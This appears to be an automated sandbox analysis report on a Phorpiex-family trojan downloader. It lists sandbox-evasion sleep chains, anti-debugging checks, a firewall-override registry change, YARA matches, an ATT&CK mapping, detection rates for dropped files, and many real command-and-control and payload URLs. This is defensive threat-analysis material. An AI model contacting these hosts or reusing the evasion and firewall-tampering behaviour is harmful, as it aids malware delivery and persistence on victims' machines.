Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_7-311
Source: C:\Windows\winploravr.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_5-4404
Source: C:\Users\user\winploravr.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-4404

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	API coverage: 3.7 %
Source: C:\Windows\sysbrapsvc.exe	API coverage: 0.9 %
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	API coverage: 0.9 %
Source: C:\Users\user\winploravr.exe	API coverage: 6.0 %
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	API coverage: 9.8 %
Source: C:\Windows\winploravr.exe	API coverage: 6.0 %

Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040D1A0	4_2_0040D1A0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040D1A0	5_2_0040D1A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040D1A0	0_2_0040D1A0

Source: C:\Windows\sysbrapsvc.exe TID: 5444	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe TID: 5452	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe TID: 5452	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe TID: 6484	Thread sleep time: -113015s >= -30000s	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe TID: 5452	Thread sleep count: 6126 > 30	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe TID: 5452	Thread sleep time: -12252000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe TID: 2344	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe TID: 2344	Thread sleep time: -46000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe TID: 2344	Thread sleep time: -4500000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00406650
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406510
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_00406650
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00406510
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	4_2_00406650
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	4_2_00406510
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00406650 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	5_2_00406650
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00406510 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_00406510

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

0_2_00402020

Source: C:\Windows\sysbrapsvc.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\sysbrapsvc.exe	Thread delayed: delay time: 113015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Thread delayed: delay time: 900000	Jump to behavior

Source: 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp, sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.000000000093C000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe, 0000000F.00000002.2003173720.00000000005C5000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 2006625995.exe, 0000000A.00000002.2105883206.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\sysbrapsvc.exe	API call chain: ExitProcess graph end node	graph_2-4420
Source: C:\Windows\sysbrapsvc.exe	API call chain: ExitProcess graph end node	graph_4-4419
Source: C:\Windows\sysbrapsvc.exe	API call chain: ExitProcess graph end node	graph_4-4388
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	API call chain: ExitProcess graph end node	graph_5-4419
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	API call chain: ExitProcess graph end node	graph_5-4388
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	API call chain: ExitProcess graph end node	graph_7-305
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	API call chain: ExitProcess graph end node	graph_7-316
Source: C:\Users\user\winploravr.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\winploravr.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

Code function: 7_2_00DB2638 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

7_2_00DB2638

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Code function: 0_2_0040A390 GetProcessHeaps,

0_2_0040A390

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: 7_2_00DB2638 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	7_2_00DB2638
Source: C:\Users\user\AppData\Local\Temp\2303012543.exe	Code function: 8_2_00B51878 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	8_2_00B51878
Source: C:\Users\user\winploravr.exe	Code function: 9_2_002A2638 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	9_2_002A2638
Source: C:\Users\user\AppData\Local\Temp\2006625995.exe	Code function: 10_2_00D72FD8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	10_2_00D72FD8
Source: C:\Users\user\AppData\Local\Temp\2711236308.exe	Code function: 13_2_00391878 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	13_2_00391878
Source: C:\Windows\winploravr.exe	Code function: 14_2_000F2638 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	14_2_000F2638
Source: C:\Users\user\AppData\Local\Temp\330125677.exe	Code function: 15_2_006F1888 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	15_2_006F1888
Source: C:\Users\user\AppData\Local\Temp\1245832676.exe	Code function: 16_2_00AE1878 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	16_2_00AE1878
Source: C:\Users\user\AppData\Local\Temp\300129380.exe	Code function: 18_2_003F19C8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	18_2_003F19C8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: GetLocaleInfoA,strcmp,	0_2_0040EBE0
Source: C:\Windows\sysbrapsvc.exe	Code function: GetLocaleInfoA,strcmp,	2_2_0040EBE0
Source: C:\Windows\sysbrapsvc.exe	Code function: GetLocaleInfoA,strcmp,	4_2_0040EBE0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: GetLocaleInfoA,strcmp,	5_2_0040EBE0
Source: C:\Users\user\AppData\Local\Temp\1146722911.exe	Code function: memset,GetLocaleInfoA,strcmp,	7_2_00DB1740
Source: C:\Users\user\winploravr.exe	Code function: memset,GetLocaleInfoA,strcmp,	9_2_002A1740
Source: C:\Windows\winploravr.exe	Code function: memset,GetLocaleInfoA,strcmp,	14_2_000F1740

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

Code function: 7_2_00DB2568 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

7_2_00DB2568

Source: C:\Users\user\AppData\Local\Temp\2006625995.exe

Code function: 10_2_00D71490 GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,wsprintfA,

10_2_00D71490

Source: C:\Users\user\AppData\Local\Temp\1146722911.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\sysbrapsvc.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride

Jump to behavior

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, type: SAMPLE
Source: Yara match	File source: 5.0.3193211493.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.3193211493.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.sysbrapsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1565210090.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1395571963.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1579593026.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1558944525.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1416106928.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1544428131.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1665949097.0000000004781000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1416145697.00000000005F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysbrapsvc.exe PID: 5588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysbrapsvc.exe PID: 768, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3193211493.exe PID: 3640, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\sysbrapsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3193211493.exe, type: DROPPED

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	0_2_00401470
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	0_2_00402020
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_0040DBC0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	0_2_0040DBC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	Code function: 0_2_004013B0 CreateEventA,socket,bind,CreateThread,	0_2_004013B0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	2_2_00401470
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	2_2_00402020
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_0040DBC0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	2_2_0040DBC0
Source: C:\Windows\sysbrapsvc.exe	Code function: 2_2_004013B0 CreateEventA,socket,bind,CreateThread,	2_2_004013B0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	4_2_00401470
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	4_2_00402020
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_0040DBC0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	4_2_0040DBC0
Source: C:\Windows\sysbrapsvc.exe	Code function: 4_2_004013B0 CreateEventA,socket,bind,CreateThread,	4_2_004013B0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	5_2_00401470
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	5_2_00402020
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_0040DBC0 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	5_2_0040DBC0
Source: C:\Users\user\AppData\Local\Temp\3193211493.exe	Code function: 5_2_004013B0 CreateEventA,socket,bind,CreateThread,	5_2_004013B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	11 Input Capture	2 System Time Discovery	Remote Services	11 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	1 Obfuscated Files or Information	LSASS Memory	2 System Network Connections Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Process Injection	1 DLL Side-Loading	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	231 Masquerading	NTDS	15 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Process Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Hidden Files and Directories	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	79%	ReversingLabs	Win32.Trojan.MintZard
SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	100%	Avira	HEUR/AGEN.1360619
SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\sysbrapsvc.exe	100%	Avira	HEUR/AGEN.1360619
C:\Users\user\AppData\Local\Temp\3193211493.exe	100%	Avira	HEUR/AGEN.1360619
C:\Users\user\AppData\Local\Temp\330125677.exe	100%	Joe Sandbox ML
C:\Users\user\winploravr.exe	100%	Joe Sandbox ML
C:\Windows\sysbrapsvc.exe	100%	Joe Sandbox ML
C:\Users\user\winploravr.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2006625995.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3193211493.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1146722911.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1146722911.exe	96%	ReversingLabs	Win32.Worm.Phorpiex
C:\Users\user\AppData\Local\Temp\1245832676.exe	30%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\2303012543.exe	30%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\2711236308.exe	30%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\300129380.exe	38%	ReversingLabs	Win32.Ransomware.GandCrab
C:\Users\user\AppData\Local\Temp\3193211493.exe	79%	ReversingLabs	Win32.Trojan.MintZard
C:\Users\user\AppData\Local\Temp\330125677.exe	62%	ReversingLabs	Win32.Trojan.Zusy
C:\Users\user\winploravr.exe	96%	ReversingLabs	Win32.Worm.Phorpiex
C:\Windows\sysbrapsvc.exe	79%	ReversingLabs	Win32.Trojan.MintZard
C:\Windows\winploravr.exe	96%	ReversingLabs	Win32.Worm.Phorpiex

Source	Detection	Scanner	Label
http://193.233.132.177/_2g	0%	Avira URL Cloud	safe
http://185.215.113.66/_2	0%	Avira URL Cloud	safe
http://185.215.113.66/reg.php?s=%s	0%	Avira URL Cloud	safe
http://193.233.132.177/2S	0%	Avira URL Cloud	safe
http://185.215.113.66/_32_p0	0%	Avira URL Cloud	safe
http://185.215.113.66/_1	0%	Avira URL Cloud	safe
http://185.215.113.66/_36o	0%	Avira URL Cloud	safe
http://91.202.233.141/1	0%	Avira URL Cloud	safe
http://185.215.113.66/_3	0%	Avira URL Cloud	safe
http://91.202.233.141/2	0%	Avira URL Cloud	safe
http://91.202.233.141/5	0%	Avira URL Cloud	safe
http://193.233.132.177/4#	0%	Avira URL Cloud	safe
http://193.233.132.177/3C	0%	Avira URL Cloud	safe
http://91.202.233.141/3	0%	Avira URL Cloud	safe
http://91.202.233.141/4	0%	Avira URL Cloud	safe
http://91.202.233.141/_3yh	0%	Avira URL Cloud	safe
http://193.233.132.177/3h.dll	0%	Avira URL Cloud	safe
http://185.215.113.66/_3qh	0%	Avira URL Cloud	safe
http://91.202.233.141/6	0%	Avira URL Cloud	safe
http://twizt.net/ALLSTATAo	100%	Avira URL Cloud	phishing
http://91.202.233.141/_11N:we	0%	Avira URL Cloud	safe
http://185.215.113.66/3:(	0%	Avira URL Cloud	safe
http://185.215.113.66/5P	100%	Avira URL Cloud	malware
http://193.233.132.177/377	0%	Avira URL Cloud	safe
http://twizt.net/	100%	Avira URL Cloud	phishing
http://twizt.net/ALLSTATAopen%temp%%s	100%	Avira URL Cloud	phishing
http://185.215.113.66/1http://185.215.113.66/2http://185.215.113.66/3http://185.215.113.66/4http://1	0%	Avira URL Cloud	safe
http://91.202.233.141/6P	0%	Avira URL Cloud	safe
http://91.202.233.141/_1K	0%	Avira URL Cloud	safe
http://185.215.113.66/_1Ih	0%	Avira URL Cloud	safe
http://185.215.113.66/4	0%	Avira URL Cloud	safe
http://185.215.113.66/5	0%	Avira URL Cloud	safe
http://91.202.233.141/5G4	0%	Avira URL Cloud	safe
http://185.215.113.66/3	0%	Avira URL Cloud	safe
http://91.202.233.141/_16	0%	Avira URL Cloud	safe
http://185.215.113.66/2	0%	Avira URL Cloud	safe
http://91.202.233.141/5e	0%	Avira URL Cloud	safe
http://185.215.113.66/2H	100%	Avira URL Cloud	malware
http://185.215.113.66/2O	100%	Avira URL Cloud	malware
http://185.215.113.66/_1/	0%	Avira URL Cloud	safe
http://185.215.113.66/1	0%	Avira URL Cloud	safe
http://185.215.113.66/6	100%	Avira URL Cloud	malware
http://91.202.233.141/_11	0%	Avira URL Cloud	safe
http://91.202.233.141/5V	0%	Avira URL Cloud	safe
http://185.215.113.66/reg.php?s=%sMozilla/5.0	0%	Avira URL Cloud	safe
http://185.215.113.66/61(	0%	Avira URL Cloud	safe
http://91.202.233.141/5Y	0%	Avira URL Cloud	safe
http://91.202.233.141/6.F;	0%	Avira URL Cloud	safe
https://nexo.com/buy-crypto/bitcoin-btc	0%	Avira URL Cloud	safe
http://185.215.113.66/_36U	0%	Avira URL Cloud	safe
http://91.202.233.141/_1	0%	Avira URL Cloud	safe
http://91.202.233.141/4e	0%	Avira URL Cloud	safe
http://twizt.net/ALLSTATAnt	100%	Avira URL Cloud	phishing
http://91.202.233.141/_2	0%	Avira URL Cloud	safe
http://91.202.233.141/_3	0%	Avira URL Cloud	safe
http://185.215.113.66/_1_	0%	Avira URL Cloud	safe
http://185.215.113.66/3T	100%	Avira URL Cloud	malware
http://185.215.113.66/1A	100%	Avira URL Cloud	malware
http://91.202.233.141/1xF;	0%	Avira URL Cloud	safe
http://91.202.233.141/	0%	Avira URL Cloud	safe
http://185.215.113.66/2.233.141/	0%	Avira URL Cloud	safe
http://193.233.132.177/31A	0%	Avira URL Cloud	safe
http://185.215.113.66/_2Yk	0%	Avira URL Cloud	safe
http://193.233.132.177/_2ih0d.	0%	Avira URL Cloud	safe
http://185.215.113.66/_36	0%	Avira URL Cloud	safe
http://185.215.113.66/_2ah(d-	0%	Avira URL Cloud	safe
http://193.233.132.177/_2	0%	Avira URL Cloud	safe
http://185.215.113.66/_2d	0%	Avira URL Cloud	safe
http://91.202.233.141/1S4	0%	Avira URL Cloud	safe
http://185.215.113.66/der	100%	Avira URL Cloud	malware
http://193.233.132.177/_3	100%	Avira URL Cloud	malware
http://185.215.113.66/http://91.202.233.141/http://193.233.132.177/123456%s%s%s:Zone.Identifier%user	0%	Avira URL Cloud	safe
http://twizt.net/ALLSTATAWaIG2	100%	Avira URL Cloud	phishing
http://185.215.113.66/3KKC:	100%	Avira URL Cloud	malware
http://193.233.132.177/_21hXd#	0%	Avira URL Cloud	safe
http://185.215.113.66/	0%	Avira URL Cloud	safe
http://twizt.net/ALLSTATA	100%	Avira URL Cloud	phishing
http://193.233.132.177/	0%	Avira URL Cloud	safe
http://185.215.113.66/_2Ah	0%	Avira URL Cloud	safe
http://twizt.net/ALLSTATA7a	100%	Avira URL Cloud	phishing
http://193.233.132.177/3s	0%	Avira URL Cloud	safe
http://193.233.132.177/_3Qh8d/	0%	Avira URL Cloud	safe
http://185.215.113.66/_3t	0%	Avira URL Cloud	safe
http://193.233.132.177/5	0%	Avira URL Cloud	safe
http://193.233.132.177/6	0%	Avira URL Cloud	safe
https://invity.io/buy-crypto	0%	Avira URL Cloud	safe
http://193.233.132.177/2	0%	Avira URL Cloud	safe
http://193.233.132.177/1	0%	Avira URL Cloud	safe
http://193.233.132.177/4	0%	Avira URL Cloud	safe
http://91.202.233.141/_2yk	0%	Avira URL Cloud	safe
http://193.233.132.177/3	0%	Avira URL Cloud	safe
http://185.215.113.66/_3Yh	0%	Avira URL Cloud	safe
http://91.202.233.141/2:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mta7.am0.yahoodns.net	67.195.228.94	true	false	unknown
twizt.net	185.215.113.66	true	true	unknown
yahoo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
